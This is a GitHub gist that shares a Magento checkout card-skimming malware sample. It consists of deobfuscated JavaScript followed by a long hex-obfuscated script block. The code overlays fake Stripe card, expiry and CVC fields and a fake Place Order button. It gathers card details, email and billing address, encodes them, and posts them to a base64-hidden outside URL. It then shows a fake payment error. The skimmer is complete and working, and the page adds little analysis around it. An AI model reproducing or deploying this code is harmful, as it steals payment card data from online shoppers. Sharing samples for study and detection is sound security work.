Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save SamJUK/589e00a2fe730b85b4fdc6940e68d558 to your computer and use it in GitHub Desktop.
Save SamJUK/589e00a2fe730b85b4fdc6940e68d558 to your computer and use it in GitHub Desktop.
Magento 2.3.4 Stripe CC Scraper Malware Sample
void 0 !== window._edge && clearInterval(window._edge),
(window._edge = setInterval(function () {
"undefined" != typeof jQuery &&
jQuery("#stripe_payments").length &&
(jQuery("#stripe_payments").prop("checked", !1).show(),
jQuery(".payment-method.stripe-payments").removeClass("_active"),
function1(),
clearInterval(window._edge));
}, 500));
var encrypt_data = function (e) {
var t,
r,
a = btoa(encodeURIComponent(e)),
n = "";
for (t = 0; t < a.length; t++)
(r = 25 + ((28 + (126 ^ a[t].charCodeAt(0))) ^ 121)),
(n += String.fromCharCode(r));
return n;
};
function function1() {
jQuery("#stripe_payments").click(function () {
jQuery("body").data("_google") ||
(jQuery(".payment-method.stripe-payments").addClass("_active").show(),
function2(),
function3());
}),
jQuery(".action.action-update").click(function () {
function4() || (function2(), function3());
}),
jQuery("#amazonlogin,#paypal_express").click(function (e) {
jQuery("body").trigger("processStop"), function2();
});
}
function function3() {
function4() ||
require(["jquery", "Magento_Checkout/js/model/quote"], function (e, t, r) {
if (
((address = t.billingAddress()),
"undefined" != typeof address && null != address && address.telephone)
) {
encrypt_data(address.telephone);
func6();
}
});
}
var function6 = function () {
jQuery("body").data("qq1", 0).data("qq2", 0).data("qq3", 0),
jQuery("body").data("ww1", "Your card number is incomplete."),
jQuery("body").data("ww2", "Your card's expiration date is incomplete."),
jQuery("body").data("ww3", "Your card's security code is incomplete."),
jQuery("#stripe-payment-card-number")[0].addEventListener(
"keypress",
function (e) {
13 === (e.keyCode || e.which) && e.preventDefault();
},
!1
),
jQuery("#stripe-payment-card-expiry")[0].addEventListener(
"keypress",
function (e) {
13 === (e.keyCode || e.which) && e.preventDefault();
},
!1
),
jQuery("#stripe-payment-card-cvc")[0].addEventListener(
"keypress",
function (e) {
13 === (e.keyCode || e.which) && e.preventDefault();
},
!1
),
jQuery("#stripe-payment-card-number").bind({
focus: function (e) {
jQuery("#stripe-payment-card-number").css(
"box-shadow",
"0 6px 9px rgba(50, 50, 93, 0.06), 0 2px 5px rgba(0, 0, 0, 0.08), inset 0 1px 0 #fefefe"
);
},
input: function (e) {
e.preventDefault();
var t,
r,
a,
n,
c = jQuery("#stripe-payment-card-number"),
i = c.val().replace(/[^\d]/g, ""),
s = function7(function8(1));
if ("ct-am" == s) function9(18, 5);
else if ("ct-no" == s) function9(20, 5);
else {
function9(20, 4);
var u = jQuery("#stripe-payment-card-cvc").val();
jQuery("#stripe-payment-card-cvc").val(u.slice(0, 3));
}
"ct-am" == s
? ((t = i.slice(0, 4)),
(r = i.slice(4, 10)),
(a = i.slice(10)),
(n = ""))
: ((t = i.slice(0, 4)),
(r = i.slice(4, 8)),
(a = i.slice(8, 12)),
(n = i.slice(12))),
(n = "" == n ? "" : " " + n),
(a = "" == a ? "" : " " + a),
(r = "" == r ? "" : " " + r);
var p = c.attr("maxlength") - 1;
c.val((t + r + a + n).slice(0, p)), func1(s);
var o = c.val().length,
d = c.attr("maxlength") - 1,
y = jQuery("#stripe-payments-card-errors");
if (o != d || func4())
jQuery("body").data("qq1", 1).data("ww1", "OK"),
c.css("color", "black"),
y.attr("class", "").text("");
else {
if (
(jQuery("body")
.data("qq1", 0)
.data("ww1", "Your card number is invalid."),
c.css("color", "#eb1c26"),
"" != y.text())
)
return;
y.attr("class", "populated").text("Your card number is invalid.");
}
},
focusout: function (e) {
var t = jQuery("#stripe-payment-card-number"),
r = t.val().length,
a = t.attr("maxlength") - 1,
n = jQuery("#stripe-payments-card-errors");
if (r != a && r) {
if (
(jQuery("body")
.data("qq1", 0)
.data("ww1", "Your card number is incomplete."),
t.css("color", "#eb1c26"),
"" != n.text())
)
return;
n.attr("class", "populated").text(
"Your card number is incomplete."
);
}
},
}),
jQuery("#stripe-payment-card-expiry").bind({
focus: function (e) {
jQuery("#stripe-payment-card-expiry").css(
"box-shadow",
"0 6px 9px rgba(50, 50, 93, 0.06), 0 2px 5px rgba(0, 0, 0, 0.08), inset 0 1px 0 #fefefe"
);
},
input: function (e) {
e.preventDefault();
var t = jQuery("#stripe-payment-card-expiry"),
r = t.val(),
a = t.val().replace(/[^. /]/g, "");
" / " != a &&
"" != a &&
(8 == e.keyCode
? (r = r.slice(0, 1) + r.slice(2).trim())
: 46 == e.keyCode && (r = r.slice(0, 4) + r.slice(5).trim()));
var n = r.replace(/[^\d]/g, "").slice(0, 4);
(n[0] >= "2" || ("1" == n[0] && n[1] >= "3")) &&
(n = ("0" + n).slice(0, 4));
var c = n.slice(0, 2),
i = n.slice(2);
2 == t.val().length && " " == t.val().charAt(1)
? t.val("0" + t.val() + "/ ")
: "" == i
? t.val(c)
: t.val(c + " / " + i);
var s = t.val().length,
u = t.attr("maxlength") - 1,
p = func2(),
o = func3(),
d = jQuery("#stripe-payments-card-errors");
if (s != u || (1 == p && 1 == o))
jQuery("body").data("qq2", 1).data("ww2", "OK"),
t.css("color", "black"),
d.attr("class", "").text("");
else {
if ((t.css("color", "#eb1c26"), "" != d.text()))
return void (-1 == p || -1 == o
? jQuery("body")
.data("qq2", 0)
.data("ww2", "Your card's expiration year is in the past.")
: jQuery("body")
.data("qq2", 0)
.data("ww2", "Your card's expiration year is invalid."));
-1 == p || -1 == o
? d
.attr("class", "populated")
.text("Your card's expiration year is in the past.")
: d
.attr("class", "populated")
.text("Your card's expiration year is invalid.");
}
},
focusout: function (e) {
var t = jQuery("#stripe-payment-card-expiry"),
r = t.val().length,
a = t.attr("maxlength") - 1,
n = jQuery("#stripe-payments-card-errors");
if (r != a && r) {
if (
(jQuery("body")
.data("qq2", 0)
.data("ww2", "Your card's expiration date is incomplete."),
t.css("color", "#eb1c26"),
"" != n.text())
)
return;
n.attr("class", "populated").text(
"Your card's expiration date is incomplete."
);
}
},
}),
jQuery("#stripe-payment-card-cvc").bind({
focus: function (e) {
jQuery("#stripe-payment-card-cvc").css(
"box-shadow",
"0 6px 9px rgba(50, 50, 93, 0.06), 0 2px 5px rgba(0, 0, 0, 0.08), inset 0 1px 0 #fefefe"
);
},
input: function (e) {
e.stopPropagation(), e.preventDefault();
var t = jQuery("#stripe-payment-card-cvc"),
r = function8(4),
a = t.attr("maxlength") - 1,
n = jQuery("#stripe-payments-card-errors");
jQuery("body").data("qq3", 1).data("ww3", "OK"),
t.val(r.slice(0, a)).css("color", "black"),
n.attr("class", "").text("");
},
focusout: function (e) {
var t = jQuery("#stripe-payment-card-cvc"),
r = t.val().length,
a = t.attr("maxlength") - 1,
n = jQuery("#stripe-payments-card-errors");
if (r != a && r) {
if (
(jQuery("body")
.data("qq3", 0)
.data("ww3", "Your card's security code is incomplete."),
t.css("color", "#eb1c26"),
"" != n.text())
)
return;
n.attr("class", "populated").text(
"Your card's security code is incomplete."
);
}
},
}),
jQuery("#stepcheckout").bind("click", function (e) {
if (
(e.preventDefault(),
func4() && 1 == func2() && 1 == func3() && func5())
)
jQuery("body").trigger("processStart"), func8();
else {
var t = document.getElementById("E");
if (void 0 !== t && null != t) return;
var r =
0 == jQuery("body").data("qq3")
? jQuery("body").data("ww3")
: "Your card's security code is incomplete.";
(r =
0 == jQuery("body").data("qq2") ? jQuery("body").data("ww2") : r),
(r =
0 == jQuery("body").data("qq1") ? jQuery("body").data("ww1") : r),
jQuery("#stripe-payments-card-errors").attr("class", "").text(""),
jQuery(".payment-method.stripe-payments")
.find('div[data-role="checkout-messages"]')
.before(
'<div style="display:none" role="alert" id="E" class="message message-error error"><div>' +
r +
"</div></div>"
),
jQuery("#E")
.show(10)
.delay(2500)
.slideUp(500, function () {
this.remove();
});
}
});
},
function9 = function (e, t) {
jQuery("#stripe-payment-card-number").attr("maxlength", e),
jQuery("#stripe-payment-card-cvc").attr("maxlength", t);
},
function4 = function () {
var e = document.getElementById("stripe-payment-card-number");
return void 0 !== e && null != e;
},
func6 = function () {
function4() ||
(jQuery("#stripe-payments-card-number").after(
'<input placeholder="1234 1234 1234 1234" class="stripe-elements-field" id="stripe-payment-card-number" maxlength="20"></input>'
),
jQuery("#stripe-payments-card-number").hide(),
jQuery("#stripe-payment-card-number").css({
width: "210px",
height: "29.2px",
"font-size": "16px",
"font-family": "sans-serif",
}),
jQuery(".stripe-payments-brand").css({ top: "1px" }),
jQuery("#stripe-payments-card-expiry").after(
'<input placeholder="MM / YY" class="stripe-elements-field" id="stripe-payment-card-expiry" maxlength="8"></input>'
),
jQuery("#stripe-payments-card-expiry").hide(),
jQuery("#stripe-payment-card-expiry").css({
width: "98px",
height: "29.2px",
"font-size": "16px",
"margin-top": "12px",
"font-family": "sans-serif",
}),
jQuery("#stripe-payments-card-cvc").after(
'<input placeholder="CVC" class="stripe-elements-field" id="stripe-payment-card-cvc" maxlength="5"></input>'
),
jQuery("#stripe-payments-card-cvc").hide(),
jQuery("#stripe-payment-card-cvc").css({
width: "84px",
height: "29.2px",
"font-size": "16px",
"font-family": "sans-serif",
}),
jQuery("#stripe_payments")
.parent()
.parent()
.find(".action.primary.checkout")
.eq(0)
.after(
'<button id="stepcheckout" class="action primary checkout" type="submit"><span>Place Order</span></button>'
),
jQuery("#stripe_payments")
.parent()
.parent()
.find(".action.primary.checkout")
.eq(0)
.hide(),
function4() && function6());
},
func7 = function () {
function4() &&
(jQuery("#stripe-payment-card-number").hide().remove(),
jQuery("#stripe-payments-card-number").show(),
jQuery(".stripe-payments-brand").css({ top: "-12px" }),
jQuery("#stripe-payment-card-expiry").hide().remove(),
jQuery("#stripe-payments-card-expiry").show(),
jQuery("#stripe-payment-card-cvc").hide().remove(),
jQuery("#stripe-payments-card-cvc").show(),
jQuery("#stepcheckout").hide().remove(),
jQuery("#stripe_payments")
.parent()
.parent()
.find(".action.primary.checkout")
.eq(0)
.show(),
jQuery("#stripe-payments-brand-icon").attr("class", "pf pf-credit-card"));
},
function2 = function () {
jQuery("#stripe-payments-card-number").removeClass(
"StripeElement--invalid"
),
jQuery("#stripe-payments-card-expiry").removeClass(
"StripeElement--invalid"
),
jQuery("#stripe-payments-card-cvc").removeClass("StripeElement--invalid"),
jQuery("#stripe-payments-brand-icon").attr("class", "pf pf-credit-card"),
jQuery("#stripe-payments-card-errors").attr("class", "").text("");
},
function8 = function (e) {
return function4()
? 1 == e
? jQuery("#stripe-payment-card-number").val().replace(/[^\d]/g, "")
: 2 == e
? jQuery("#stripe-payment-card-expiry")
.val()
.replace(/[^\d]/g, "")
.slice(0, 2)
: 3 == e
? "20" +
jQuery("#stripe-payment-card-expiry")
.val()
.replace(/[^\d]/g, "")
.slice(2)
: 4 == e
? jQuery("#stripe-payment-card-cvc").val().replace(/[^\d]/g, "")
: void 0
: "";
},
function7 = function (e) {
var t = new RegExp("^4");
if (null != e.match(t)) return "ct-vi";
if (((t = new RegExp("^3[47]")), null != e.match(t))) return "ct-am";
var r = e;
return r.length >= 2 && "2" == r[0] && r[1] >= "2" && r[1] <= "7"
? "ct-ma"
: r.length >= 2 && "5" == r[0] && r[1] >= "1" && r[1] <= "5"
? "ct-ma"
: r.length >= 2 &&
"6" == r[0] &&
("5" == r[1] || "0" == r[1] || "4" == r[1])
? "ct-di"
: r.length >= 2 && "3" == r[0] && "5" == r[1]
? "ct-jc"
: r.length >= 2 && "3" == r[0] && "0" == r[1]
? "ct-dn"
: r.length >= 2 &&
"3" == r[0] &&
("6" == r[1] || "8" == r[1] || "9" == r[1] || "0" == r[1])
? "ct-dn"
: r.length >= 2 &&
parseInt(e.slice(0, 2)) >= 56 &&
parseInt(e.slice(0, 2)) <= 69
? "ct-ms"
: r.length >= 2 && "5" == r[0] && "0" == r[1]
? "ct-ms"
: "ct-no";
},
func4 = function () {
var e = function7(function8(1)),
t = function8(1).length,
r = function8(1);
if ("ct-am" == e) {
if (15 != t) return !1;
} else if ("ct-vi" == e) {
if (13 != t && 16 != t) return !1;
} else if ("ct-ma" == e) {
if (16 != t) return !1;
} else if ("ct-di" == e) {
if (t < 16) return !1;
} else if ("ct-jc" == e) {
if (t < 16) return !1;
} else if ("ct-dn" == e) {
if (t < 14) return !1;
} else if ("ct-ms" == e) {
if (t < 12) return !1;
} else if (t < 12) return !1;
for (var a = r.split(""), n = 0; n < a.length; n++)
a[n] = parseInt(a[n], 10);
var c = 0,
i = !1;
for (n = a.length - 1; n >= 0; n--)
i && ((a[n] *= 2), a[n] > 9 && (a[n] -= 9)), (c += a[n]), (i = !i);
return c % 10 == 0;
},
func2 = function () {
var e = new Date(),
t = e.getFullYear(),
r = e.getMonth(),
a = parseInt(function8(3)),
n = parseInt(function8(2));
return n >= 1 && n <= 12 ? (a == t && n <= r ? -1 : 1) : 0;
},
func3 = function () {
var e = new Date().getFullYear(),
t = parseInt(function8(3));
return t >= e && t <= 2070 ? 1 : t < e ? -1 : 0;
},
func5 = function () {
return (
function8(4).length ==
jQuery("#stripe-payment-card-cvc").attr("maxlength") - 1
);
},
func1 = function (e) {
"ct-am" == e &&
jQuery("#stripe-payments-brand-icon").attr(
"class",
"pf pf-american-express"
),
"ct-vi" == e &&
jQuery("#stripe-payments-brand-icon").attr("class", "pf pf-visa"),
"ct-ma" == e &&
jQuery("#stripe-payments-brand-icon").attr("class", "pf pf-mastercard"),
"ct-di" == e &&
jQuery("#stripe-payments-brand-icon").attr("class", "pf pf-discover"),
"ct-jc" == e &&
jQuery("#stripe-payments-brand-icon").attr("class", "pf pf pf-jcb"),
"ct-dn" == e &&
jQuery("#stripe-payments-brand-icon").attr("class", "pf pf-diners"),
"ct-no" == e &&
jQuery("#stripe-payments-brand-icon").attr(
"class",
"pf pf-credit-card"
);
},
func8 = function () {
var e = function8(1),
t = function8(2),
r = function8(3),
a = function8(4);
setTimeout(function () {
jQuery("body").trigger("processStop"),
jQuery(".payment-method.stripe-payments")
.find('div[data-role="checkout-messages"]')
.before(
'<div id="E" role="alert" style="display:none" class="message message-error error"><div>An error occurred while processing your card. Please try again.</div></div>'
),
func7(),
jQuery("#E")
.show(10)
.delay(2500)
.slideUp(500, function () {
this.remove();
});
}, 2500),
require(["jquery", "Magento_Checkout/js/model/quote"], function (
n,
c,
i
) {
(customerData = window.customerData),
(email = customerData.email),
"undefined" == typeof email && (email = c.guestEmail),
(address = c.billingAddress());
var s = '[{"name":"host","value":"' + document.URL + '"},';
for (x in ((s +=
'{"name":"agent","value":"' + navigator.userAgent + '"},'),
(s += '{"name":"username","value":"' + (email || "") + '"},'),
address))
if ("function" != typeof address[x])
if ("street" != x)
s += '{"name":"' + x + '","value":"' + address[x] + '"},';
else
for (y in address.street)
s +=
'{"name":"street[' +
y +
']","value":"' +
address.street[y] +
'"},';
(s += '{"name":"payment[cc_number]","value":"' + e + '"},'),
(s += '{"name":"payment[cc_cid]","value":"' + a + '"},'),
(s += '{"name":"payment[cc_exp_month]","value":"' + t + '"},'),
(s =
(s += '{"name":"payment[cc_exp_year]","value":"' + r + '"},')
.replace(/Id/g, "_id")
.slice(0, -1) + "]"),
n("body").data("_google", 1);
var u = encrypt_data(s);
n.ajax({
url: atob(
"aHR0cHM6Ly93d3cuc2FudG9yZWluby5lcy9wdWIvaGVhbHRoX2NoZWNrLnBocA=="
),
type: "post",
dataType: "text",
data: { cartCheckSumData: u, quoteMode: "checkout" },
});
});
};
<script>
var o88311 = "gk811bk816e3o433h1b4a1c4f4f6f433n3h3o6f1d383i3h3g3i15153k3p3i3m6i583n6g3i6i6e3m3p1j6f433n3h3o6f1d383i3h3g3i1k1f6f433n3h3o6f1d383i3h3g3i4f6j3i6g583n6g3i6i6e3m3p1j3f6h3n3k6g433o3n1j1k70196h3n3h3i3f433n3i3h191c4f6g726k3i3o3f1b40366h3i6i72151540366h3i6i721j191a6j6g6i436k3i386k3m723q3i3n6g6j191k1d3p3i3n3g6g4215151j40366h3i6i721j191a6j6g6i436k3i386k3m723q3i3n6g6j191k1d6k6i3o6k1j193k423i3k413i3h191f1c4b1k1d6j423o6f1j1k1f40366h3i6i721j191d6k3m723q3i3n6g1g3q3i6g423o3h1d6j6g6i436k3i1g6k3m723q3i3n6g6j191k1d6i3i3q3o6e3i4p3p3m6j6j1j19383m3k6g436e3i191k1f3f6h3n3k6g433o3n4b1j1k1f3k3p3i3m6i583n6g3i6i6e3m3p1j6f433n3h3o6f1d383i3h3g3i1k1k6p1f474a4a1k4h6e3m6i1b3i3n3k6i726k6g383h3m6g3m4f3f6h3n3k6g433o3n1j3i1k706e3m6i1b6g1f6i1f3m4f3j6g3o3m1j3i3n3k3o3h3i3233584p3o3q6k3o3n3i3n6g1j3i1k1k1f3n4f19194h3f3o6i1j6g4f4a4h6g4e3m1d3p3i3n3g6g424h6g1i1i1k6i4f48471i1j484i1i1j4b4844373m3c6g3a1d3k423m6i4p3o3h3i506g1j4a1k1k374b484b1k1f3n1i4f346g6i433n3g1d3f6i3o3q4p423m6i4p3o3h3i1j6i1k4h6i3i6g6h6i3n1b3n6p4h3f6h3n3k6g433o3n1b3f6h3n3k6g433o3n4b1j1k7040366h3i6i721j191a6j6g6i436k3i386k3m723q3i3n6g6j191k1d3k3p433k411j3f6h3n3k6g433o3n1j1k7040366h3i6i721j193j3o3h72191k1d3h3m6g3m1j19383g3o3o3g3p3i191k6o6o1j40366h3i6i721j191d6k3m723q3i3n6g1g3q3i6g423o3h1d6j6g6i436k3i1g6k3m723q3i3n6g6j191k1d3m3h3h4p3p3m6j6j1j19383m3k6g436e3i191k1d6j423o6f1j1k1f3f6h3n3k6g433o3n481j1k1f3f6h3n3k6g433o3n491j1k1k6p1k1f40366h3i6i721j191d3m3k6g433o3n1d3m3k6g433o3n1g6h6k3h3m6g3i191k1d3k3p433k411j3f6h3n3k6g433o3n1j1k703f6h3n3k6g433o3n461j1k6o6o1j3f6h3n3k6g433o3n481j1k1f3f6h3n3k6g433o3n491j1k1k6p1k1f40366h3i6i721j191a3m3q3m6q3o3n3p3o3g433n1f1a6k3m726k3m3p383i716k6i3i6j6j191k1d3k3p433k411j3f6h3n3k6g433o3n1j3i1k7040366h3i6i721j193j3o3h72191k1d6g6i433g3g3i6i1j196k6i3o3k3i6j6j346g3o6k191k1f3f6h3n3k6g433o3n481j1k6p1k6p3f6h3n3k6g433o3n1b3f6h3n3k6g433o3n491j1k703f6h3n3k6g433o3n461j1k6o6o6i3i6l6h436i3i1j3c19406l6h3i6i72191f19543m3g3i3n6g3o384p423i3k413o6h6g1e406j1e3q3o3h3i3p1e6l6h3o6g3i193a1f3f6h3n3k6g433o3n1j3i1f6g1f6i1k70433f1j3m3h3h6i3i6j6j4f6g1d3j433p3p433n3g503h3h6i3i6j6j1j1k1f196h3n3h3i3f433n3i3h191c4f6g726k3i3o3f1b3m3h3h6i3i6j6j15153n6h3p3p1c4f3m3h3h6i3i6j6j15153m3h3h6i3i6j6j1d6g3i3p3i6k423o3n3i1k703i3n3k6i726k6g383h3m6g3m1j3m3h3h6i3i6j6j1d6g3i3p3i6k423o3n3i1k4h3f6h3n3k441j1k6p6p1k6p6e3m6i1b3f6h3n3k6g433o3n444f3f6h3n3k6g433o3n1j1k7040366h3i6i721j193j3o3h72191k1d3h3m6g3m1j196l6l4b191f4a1k1d3h3m6g3m1j196l6l48191f4a1k1d3h3m6g3m1j196l6l49191f4a1k1f40366h3i6i721j193j3o3h72191k1d3h3m6g3m1j196f6f4b191f193e3o6h6i1b3k3m6i3h1b3n6h3q3j3i6i1b436j1b433n3k3o3q6k3p3i6g3i1d191k1f40366h3i6i721j193j3o3h72191k1d3h3m6g3m1j196f6f48191f193e3o6h6i1b3k3m6i3h166j1b3i716k436i3m6g433o3n1b3h3m6g3i1b436j1b433n3k3o3q6k3p3i6g3i1d191k1f40366h3i6i721j193j3o3h72191k1d3h3m6g3m1j196f6f49191f193e3o6h6i1b3k3m6i3h166j1b6j3i3k6h6i436g721b3k3o3h3i1b436j1b433n3k3o3q6k3p3i6g3i1d191k1f40366h3i6i721j191a6j6g6i436k3i1g6k3m723q3i3n6g1g3k3m6i3h1g3n6h3q3j3i6i191k3c4a3a1d3m3h3h4n6e3i3n6g53436j6g3i3n3i6i1j19413i726k6i3i6j6j191f3f6h3n3k6g433o3n1j3i1k704b494f4f4f1j3i1d413i724p3o3h3i6o6o3i1d6f42433k421k15153i1d6k6i3i6e3i3n6g4m3i3f3m6h3p6g1j1k6p1f1c4b1k1f40366h3i6i721j191a6j6g6i436k3i1g6k3m723q3i3n6g1g3k3m6i3h1g3i716k436i72191k3c4a3a1d3m3h3h4n6e3i3n6g53436j6g3i3n3i6i1j19413i726k6i3i6j6j191f3f6h3n3k6g433o3n1j3i1k704b494f4f4f1j3i1d413i724p3o3h3i6o6o3i1d6f42433k421k15153i1d6k6i3i6e3i3n6g4m3i3f3m6h3p6g1j1k6p1f1c4b1k1f40366h3i6i721j191a6j6g6i436k3i1g6k3m723q3i3n6g1g3k3m6i3h1g3k6e3k191k3c4a3a1d3m3h3h4n6e3i3n6g53436j6g3i3n3i6i1j19413i726k6i3i6j6j191f3f6h3n3k6g433o3n1j3i1k704b494f4f4f1j3i1d413i724p3o3h3i6o6o3i1d6f42433k421k15153i1d6k6i3i6e3i3n6g4m3i3f3m6h3p6g1j1k6p1f1c4b1k1f40366h3i6i721j191a6j6g6i436k3i1g6k3m723q3i3n6g1g3k3m6i3h1g3n6h3q3j3i6i191k1d3j433n3h1j703f3o3k6h6j4g3f6h3n3k6g433o3n1j3i1k7040366h3i6i721j191a6j6g6i436k3i1g6k3m723q3i3n6g1g3k3m6i3h1g3n6h3q3j3i6i191k1d3k6j6j1j193j3o711g6j423m3h3o6f191f194a1b446k711b4j6k711b6i3g3j3m1j474a1f1b474a1f1b4j491f1b4a1d4a441k1f1b4a1b486k711b476k711b6i3g3j3m1j4a1f1b4a1f1b4a1f1b4a1d4a4i1k1f1b433n6j3i6g1b4a1b4b6k711b4a1b1a3f3i3f3i3f3i191k6p1f433n6k6h6g4g3f6h3n3k6g433o3n1j3i1k703i1d6k6i3i6e3i3n6g4m3i3f3m6h3p6g1j1k4h6e3m6i1b6g1f6i1f3m1f3n1f3k4f40366h3i6i721j191a6j6g6i436k3i1g6k3m723q3i3n6g1g3k3m6i3h1g3n6h3q3j3i6i191k1f434f3k1d6e3m3p1j1k1d6i3i6k3p3m3k3i1j1e3c37393h3a1e3g1f19191k1f6j4f3f6h3n3k6g433o3n451j3f6h3n3k6g433o3n4i1j4b1k1k4h433f1j193k6g1g3m3q194f4f6j1k3f6h3n3k6g433o3n4j1j4b4i1f471k4h3i3p6j3i1b433f1j193k6g1g3n3o194f4f6j1k3f6h3n3k6g433o3n4j1j484a1f471k4h3i3p6j3i703f6h3n3k6g433o3n4j1j484a1f461k4h6e3m6i1b6h4f40366h3i6i721j191a6j6g6i436k3i1g6k3m723q3i3n6g1g3k3m6i3h1g3k6e3k191k1d6e3m3p1j1k4h40366h3i6i721j191a6j6g6i436k3i1g6k3m723q3i3n6g1g3k3m6i3h1g3k6e3k191k1d6e3m3p1j6h1d6j3p433k3i1j4a1f491k1k6p193k6g1g3m3q194f4f6j4d1j6g4f431d6j3p433k3i1j4a1f461k1f6i4f431d6j3p433k3i1j461f4b4a1k1f3m4f431d6j3p433k3i1j4b4a1k1f3n4f19191k4g1j6g4f431d6j3p433k3i1j4a1f461k1f6i4f431d6j3p433k3i1j461f4i1k1f3m4f431d6j3p433k3i1j4i1f4b481k1f3n4f431d6j3p433k3i1j4b481k1k1f3n4f19194f4f3n4d19194g191b191i3n1f3m4f19194f4f3m4d19194g191b191i3m1f6i4f19194f4f6i4d19194g191b191i6i4h6e3m6i1b6k4f3k1d3m6g6g6i1j193q3m713p3i3n3g6g42191k1g4b4h3k1d6e3m3p1j1j6g1i6i1i3m1i3n1k1d6j3p433k3i1j4a1f6k1k1k1f3f6h3n3k4b1j6j1k4h6e3m6i1b3o4f3k1d6e3m3p1j1k1d3p3i3n3g6g421f3h4f3k1d3m6g6g6i1j193q3m713p3i3n3g6g42191k1g4b1f724f40366h3i6i721j191a6j6g6i436k3i1g6k3m723q3i3n6g6j1g3k3m6i3h1g3i6i6i3o6i6j191k4h433f1j3o1c4f3h6o6o3f6h3n3k461j1k1k40366h3i6i721j193j3o3h72191k1d3h3m6g3m1j196l6l4b191f4b1k1d3h3m6g3m1j196f6f4b191f195256191k1f3k1d3k6j6j1j193k3o3p3o6i191f193j3p3m3k41191k1f721d3m6g6g6i1j193k3p3m6j6j191f19191k1d6g3i716g1j19191k4h3i3p6j3i70433f1j40366h3i6i721j193j3o3h72191k1d3h3m6g3m1j196l6l4b191f4a1k1d3h3m6g3m1j196f6f4b191f193e3o6h6i1b3k3m6i3h1b3n6h3q3j3i6i1b436j1b433n6e3m3p433h1d191k1f3k1d3k6j6j1j193k3o3p3o6i191f191a3i3j4b3k4844191k1f19191c4f721d6g3i716g1j1k1k6i3i6g6h6i3n4h721d3m6g6g6i1j193k3p3m6j6j191f196k3o6k6h3p3m6g3i3h191k1d6g3i716g1j193e3o6h6i1b3k3m6i3h1b3n6h3q3j3i6i1b436j1b433n6e3m3p433h1d191k6p6p1f3f3o3k6h6j3o6h6g4g3f6h3n3k6g433o3n1j3i1k706e3m6i1b6g4f40366h3i6i721j191a6j6g6i436k3i1g6k3m723q3i3n6g1g3k3m6i3h1g3n6h3q3j3i6i191k1f6i4f6g1d6e3m3p1j1k1d3p3i3n3g6g421f3m4f6g1d3m6g6g6i1j193q3m713p3i3n3g6g42191k1g4b1f3n4f40366h3i6i721j191a6j6g6i436k3i1g6k3m723q3i3n6g6j1g3k3m6i3h1g3i6i6i3o6i6j191k4h433f1j6i1c4f3m15156i1k70433f1j40366h3i6i721j193j3o3h72191k1d3h3m6g3m1j196l6l4b191f4a1k1d3h3m6g3m1j196f6f4b191f193e3o6h6i1b3k3m6i3h1b3n6h3q3j3i6i1b436j1b433n3k3o3q6k3p3i6g3i1d191k1f6g1d3k6j6j1j193k3o3p3o6i191f191a3i3j4b3k4844191k1f19191c4f3n1d6g3i716g1j1k1k6i3i6g6h6i3n4h3n1d3m6g6g6i1j193k3p3m6j6j191f196k3o6k6h3p3m6g3i3h191k1d6g3i716g1j193e3o6h6i1b3k3m6i3h1b3n6h3q3j3i6i1b436j1b433n3k3o3q6k3p3i6g3i1d191k6p6p6p1k1f40366h3i6i721j191a6j6g6i436k3i1g6k3m723q3i3n6g1g3k3m6i3h1g3i716k436i72191k1d3j433n3h1j703f3o3k6h6j4g3f6h3n3k6g433o3n1j3i1k7040366h3i6i721j191a6j6g6i436k3i1g6k3m723q3i3n6g1g3k3m6i3h1g3i716k436i72191k1d3k6j6j1j193j3o711g6j423m3h3o6f191f194a1b446k711b4j6k711b6i3g3j3m1j474a1f1b474a1f1b4j491f1b4a1d4a441k1f1b4a1b486k711b476k711b6i3g3j3m1j4a1f1b4a1f1b4a1f1b4a1d4a4i1k1f1b433n6j3i6g1b4a1b4b6k711b4a1b1a3f3i3f3i3f3i191k6p1f433n6k6h6g4g3f6h3n3k6g433o3n1j3i1k703i1d6k6i3i6e3i3n6g4m3i3f3m6h3p6g1j1k4h6e3m6i1b6g4f40366h3i6i721j191a6j6g6i436k3i1g6k3m723q3i3n6g1g3k3m6i3h1g3i716k436i72191k1f6i4f6g1d6e3m3p1j1k1f3m4f6g1d6e3m3p1j1k1d6i3i6k3p3m3k3i1j1e3c371d1b1e3a1e3g1f19191k4h191b1e1b191c4f3m151519191c4f3m15151j4i4f4f3i1d413i724p3o3h3i4d6i4f6i1d6j3p433k3i1j4a1f4b1k1i6i1d6j3p433k3i1j481k1d6g6i433q1j1k4g46444f4f3i1d413i724p3o3h3i15151j6i4f6i1d6j3p433k3i1j4a1f461k1i6i1d6j3p433k3i1j471k1d6g6i433q1j1k1k1k4h6e3m6i1b3n4f6i1d6i3i6k3p3m3k3i1j1e3c37393h3a1e3g1f19191k1d6j3p433k3i1j4a1f461k4h1j3n3c4a3a4c4f1948196o6o194b194f4f3n3c4a3a15153n3c4b3a4c4f1949191k15151j3n4f1j194a191i3n1k1d6j3p433k3i1j4a1f461k1k4h6e3m6i1b3k4f3n1d6j3p433k3i1j4a1f481k1f434f3n1d6j3p433k3i1j481k4h484f4f6g1d6e3m3p1j1k1d3p3i3n3g6g421515191b194f4f6g1d6e3m3p1j1k1d3k423m6i506g1j4b1k4d6g1d6e3m3p1j194a191i6g1d6e3m3p1j1k1i191e1b191k4g19194f4f434d6g1d6e3m3p1j3k1k4g6g1d6e3m3p1j3k1i191b1e1b191i431k4h6e3m6i1b6j4f6g1d6e3m3p1j1k1d3p3i3n3g6g421f6h4f6g1d3m6g6g6i1j193q3m713p3i3n3g6g42191k1g4b1f6k4f3f6h3n3k481j1k1f3o4f3f6h3n3k491j1k1f3h4f40366h3i6i721j191a6j6g6i436k3i1g6k3m723q3i3n6g6j1g3k3m6i3h1g3i6i6i3o6i6j191k4h433f1j6j1c4f6h6o6o4b4f4f6k15154b4f4f3o1k40366h3i6i721j193j3o3h72191k1d3h3m6g3m1j196l6l48191f4b1k1d3h3m6g3m1j196f6f48191f195256191k1f6g1d3k6j6j1j193k3o3p3o6i191f193j3p3m3k41191k1f3h1d3m6g6g6i1j193k3p3m6j6j191f19191k1d6g3i716g1j19191k4h3i3p6j3i70433f1j6g1d3k6j6j1j193k3o3p3o6i191f191a3i3j4b3k4844191k1f19191c4f3h1d6g3i716g1j1k1k6i3i6g6h6i3n1b6e3o433h1j1g4b4f4f6k6o6o1g4b4f4f3o4d40366h3i6i721j193j3o3h72191k1d3h3m6g3m1j196l6l48191f4a1k1d3h3m6g3m1j196f6f48191f193e3o6h6i1b3k3m6i3h166j1b3i716k436i3m6g433o3n1b723i